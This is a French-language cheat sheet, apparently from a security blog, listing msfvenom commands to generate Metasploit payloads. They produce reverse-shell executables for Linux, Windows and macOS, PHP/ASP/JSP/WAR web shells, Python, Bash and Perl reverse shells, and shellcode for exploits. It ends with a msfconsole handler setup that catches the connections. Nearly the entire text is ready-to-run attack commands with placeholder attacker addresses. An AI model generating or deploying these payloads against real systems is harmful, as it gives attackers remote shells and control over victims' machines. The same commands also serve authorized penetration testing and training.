Générer un payload avec metasploit

1.Presentation

Msfvenom est un logiciel du framework metasploit.

Il permet de générer , encoder , packer des payloads.

Lister les payloads disponibles

msfvenom -l

Générer des binaires

Pour Linux :

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Votre adresse ip> LPORT=<Votre port d'écoute local> -f elf > shell.elf 

Pour Windows :

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Votre adresse ip> LPORT=<Votre port d'écoute local> -f exe > shell.exe 

Pour Mac :

msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Votre adresse ip> LPORT=<Votre port d'écoute local> -f macho > shell.macho 

Générer des payloads pour le web

En PHP :

msfvenom -p php/meterpreter_reverse_tcp LHOST=<Votre adresse ip> LPORT=<Votre port d'écoute local> -f raw > shell.php
cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php

En ASP :

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Votre adresse ip> LPORT=<Votre port d'écoute local> -f asp > shell.asp

En JSP :

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Votre adresse ip> LPORT=<Votre port d'écoute local> -f raw > shell.jsp

En WAR :

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Votre adresse ip> LPORT=<Votre port d'écoute local> -f war > shell.war

Générer des payloads pour des langages de scripte

En Python:

msfvenom -p cmd/unix/reverse_python LHOST=<Votre adresse ip> LPORT=<Votre port d'écoute local> -f raw > shell.py

En Bash :

msfvenom -p cmd/unix/reverse_bash LHOST=<Votre adresse ip> LPORT=<Votre port d'écoute local> -f raw > shell.sh

En Perl :

msfvenom -p cmd/unix/reverse_perl LHOST=<Votre adresse ip> LPORT=<Votre port d'écoute local> -f raw > shell.pl

Générer un shellcode

Les shellcodes sont à insérer dans votre exploit.

Shellcode basé sur Linux

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Votre adresse ip> LPORT=<Votre port d'écoute local> -f <language>

Shellcode basé sur windows

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Votre adresse ip> LPORT=<Votre port d'écoute local> -f <language>

Shellcode basé sur Mac

msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Votre adresse ip> LPORT=<Votre port d'écoute local> -f <language>

Mise en place du handler

Le handler permet de recevoir la connexion initier par votre payload.

Dans msfconsole :

use exploit/multi/handler
set PAYLOAD <Payload name>
set LHOST <LHOST value>
set LPORT <LPORT value>
set ExitOnSession false
exploit -j -z

Source : http://netsec.ws/?p=331